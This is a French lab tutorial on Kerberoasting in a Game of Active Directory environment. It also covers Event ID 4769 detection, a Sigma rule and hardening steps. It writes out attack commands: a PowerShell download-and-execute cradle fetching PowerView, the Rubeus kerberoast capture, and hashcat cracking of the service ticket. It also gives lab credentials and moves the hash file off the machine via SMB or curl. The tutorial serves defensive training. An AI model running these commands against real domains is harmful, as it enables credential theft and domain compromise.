Pentest Active Directory : Kerberoasting Pas a Pas dans un Lab GOAD
Reproduction ethique de Kerberoasting sur Game of Active Directory : capture du TGS, crack offline et detection via Event ID 4769.
Le Kerberoasting continue de tuer des domaines en 2026 parce que les equipes creent encore des Service Accounts avec des mots de passe faibles et des SPN enregistres sur des DC sans MFA renforcee. Dans notre lab Game of Active Directory (GOAD v3), il a fallu environ 14 minutes entre un shell initial sur une machine membre de sevenkingdoms.local et le crack du mot de passe d'un compte de service SQL Server avec hashcat sur une RTX 4070. Ce post documente le pas a pas complet, de l'enumeration avec PowerView a la regle Sigma qui detecte l'attaque dans la stack ELK de la Blue Team. Tout est isole, snapshot, et loin de la production d'autrui.
Avant de toucher GOAD, replique la segmentation decrite dans Pentest Web depuis Zero: Construire un Lab Sur avec DVWA, Juice Shop et Burp Suite pour bien isoler le reseau, et revois OPSEC pour Chercheurs en Securite: Modele de Menace Personnel pour eviter de laisser fuir des artefacts depuis ta station. Notre GOAD tourne sur trois VM de 6 Go de RAM (DC01, DC02, SRV02), plus un Kali dedie de 8 Go sur vmnet9. Utilise le playbook Ansible officiel de Mayfly277, il provisionne en environ 45 minutes sur une machine correcte. Confirme que le pare-feu Windows est permissif en interne, sinon tu vas debugger des soucis RPC au lieu d'etudier Kerberos.
L'enumeration commence apres l'initial access. Suppose que tu as deja recupere des credentials low-priv via les techniques couvertes dans Initial Access Simule: Macros, LNK et ISO dans un Lab Windows 11 Isole, dans notre cas jaime.lannister:cersei. On charge PowerView.ps1 avec `IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/PowerView.ps1')` puis on lance `Get-DomainUser -SPN | select samaccountname, serviceprincipalname`. Trois comptes apparaissent : sqlsvc, httpsvc, backupsvc. La cible naturelle est sqlsvc, car les comptes de service MSSQL sont souvent nes avec des mots de passe courts dans des scripts d'install de 2018. Rubeus.exe est notre outil de capture : `Rubeus.exe kerberoast /nowrap /outfile:hashes.txt /user:sqlsvc`.
Le TGS retourne est chiffre avec le hash NTLM du mot de passe du compte de service, encode en RC4-HMAC (etype 23) dans la plupart des labs et malheureusement dans beaucoup de productions. Recupere hashes.txt, envoie-le sur Kali via SMB ou curl, et nourris hashcat avec `hashcat -m 13100 hashes.txt rockyou.txt -r rules/best64.rule`. A 2 minutes 11, le mot de passe SQLSvc@2018 est tombe. Si tu veux jouer avec des wordlists plus grosses, OneRuleToRuleThemStill marche bien, mais commence par la base. Pour corroborer avec des techniques AD adjacentes, vois Mouvement Lateral en Lab: SMB, WMI et WinRM avec Focus Detection et surtout Persistance Windows : 10 Techniques Documentees et leurs Contre-mesures pour la suite.
Cote Blue Team, le Kerberoasting n'est pas silencieux quand tu sais ou regarder. L'Event ID 4769 sur le DC logge chaque Service Ticket emis, et un Ticket Encryption Type de 0x17 (RC4) est deja un drapeau jaune dans un environnement moderne avec AES active. La regle Sigma que j'ai ecrite surveille 4769 avec TicketEncryption 0x17 OU 0x18, regroupe par utilisateur source sur une fenetre de 60 secondes, et declenche a partir de 5 SPN distincts demandes. Cela elimine le bruit des applications legitimes. Pour l'instrumentation, Threat Hunting avec Sigma et Elastic: De l'Indicateur a la Regle de Detection montre comment monter le pipeline avec Filebeat et Elastic, et Hunting des Living-off-the-Land Binaries sous Windows avec KQL couvre des detections adjacentes pour Defender for Identity.
La mitigation pratique se fait en couches. Premierement, migre chaque compte de service vers des Group Managed Service Accounts (gMSA) avec rotation automatique de 30 jours, ce qui tue la fenetre utile de crack offline. Deuxiemement, force AES256_HMAC_SHA1 en desactivant RC4 dans msDS-SupportedEncryptionTypes du compte (valeur 0x18). Troisiemement, audite mensuellement avec `Get-ADUser -Filter {ServicePrincipalName -ne $null} -Properties PasswordLastSet, msDS-SupportedEncryptionTypes` et flag tout compte avec un mot de passe > 90 jours. Quatriemement, active Protected Users Group pour tout compte admin porteur d'un SPN. Pour le hardening complementaire, Durcissement de Windows 11 pour Postes de Travail a Haut Risque couvre la station de l'administrateur.
Takeaway pratique : monte aujourd'hui une alerte SIEM qui se declenche quand un seul compte demande plus de 4 Service Tickets RC4 distincts en 5 minutes, et croise avec une allowlist de comptes de service attendus. Deux heures de boulot, et cela aurait attrape 8 attaques de Kerberoasting reelles sur 10 apparues dans les rapports d'IR publics en 2025. Documente le playbook, entraine l'equipe sur le GOAD reproduit localement, et revisite la posture a chaque creation de SPN dans le domaine. Sans cela, ton prochain mal de tete peut venir exactement de ce vecteur.